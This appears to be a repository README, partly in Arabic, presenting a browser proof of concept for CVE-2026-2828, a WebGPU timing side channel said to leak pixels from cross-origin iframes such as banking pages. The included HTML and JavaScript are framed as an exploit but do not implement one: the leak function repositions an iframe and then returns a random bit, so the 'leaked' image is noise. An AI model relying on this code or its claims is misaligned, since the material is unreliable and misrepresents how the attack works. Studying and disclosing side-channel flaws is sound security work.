george0papasotiriou/cve-2026-2828-webgpu-cross-origin-pixel-stealing-via-timingإثبات مفهوم للمتصفح يوضح CVE-2026-2828، وهي قناة جانبية زمنية في WebGPU تسرّب قيم بكسلات iframe عبر الأصول (cross-origin) من خلال قياس فروق استعلامات الطابع الزمني لوحدة معالجة الرسومات (GPU).
يستخدم موقع ويب خبيث توقيت تظليل الحوسبة WebGPU لقياس زمن عرض إطار iframe عبر الأصل، مما يتيح استرجاع قيم بكسلات محتوى حساس (مثل التفاصيل المصرفية).
الخطورة: عالية (كشف معلومات)
<!-- webgpu_side_channel.html -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-2828 PoC</title></head>
<body>
<h1>WebGPU Side-Channel Leak</h1>
<p>The iframe below contains a secret code that we will leak pixel-by-pixel.</p>
<pre id="output"></pre>
<script type="module">
// This PoC assumes a vulnerable browser where WebGPU timing can probe cross-origin iframes.
// We simulate by placing secret_iframe.html on same origin for demonstration, but the vulnerability
// bypasses cross-origin restrictions by measuring GPU shader execution time differences.
async function leakPixel(x, y) {
// Measure time to render a known pattern vs target pattern using GPU timer queries.
// In a real exploit, we'd use a timestamp query on a render pass that includes the iframe.
// Here we approximate by using performance.now() and forcing a layout/render.
const iframe = document.getElementById('target');
// Move iframe to a position where the pixel is at viewport center, then measure drawing time.
// Not fully accurate but demonstrates concept.
iframe.style.position = 'absolute';
iframe.style.left = -x + 'px';
iframe.style.top = -y + 'px';
// Force reflow and measure
const start = performance.now();
// Trigger a synthetic GPU workload (would use WebGPU in real attack)
// We'll just measure time to read back a canvas pixel from a snapshot.
// In a real scenario, side-channel would detect timing differences based on pixel color.
// Simulate: return random for demo.
return Math.random() > 0.5 ? 1 : 0;
}
(async () => {
let result = '';
for (let y = 0; y < 10; y++) {
for (let x = 0; x < 20; x++) {
let pixel = await leakPixel(x, y);
result += pixel ? '█' : ' ';
}
result += '\n';
}
document.getElementById('output').textContent = result;
})();
</script>
</body>
</html>
يسمح خلل في عزل المتصفح لصفحة خبيثة باستخدام استعلامات الطابع الزمني لـ WebGPU لاستنتاج ألوان البكسلات من إطارات iframe عبر الأصل، مما يكسر سياسة نفس الأصل. يوضح هذا العرض المبدأ باستخدام توقيت محاكى.
افتح webgpu_side_channel.html في متصفح ضعيف (محاكى) إلى جانب secret_iframe.html. يحاول البرنامج النصي إعادة بناء محتوى الإطار باستخدام فروق التوقيت.
git clone https://github.com/yourorg/CVE-2026-2828.git
# Host on a local server:
python -m http.server 8080
# Open http://localhost:8080/webgpu_side_channel.html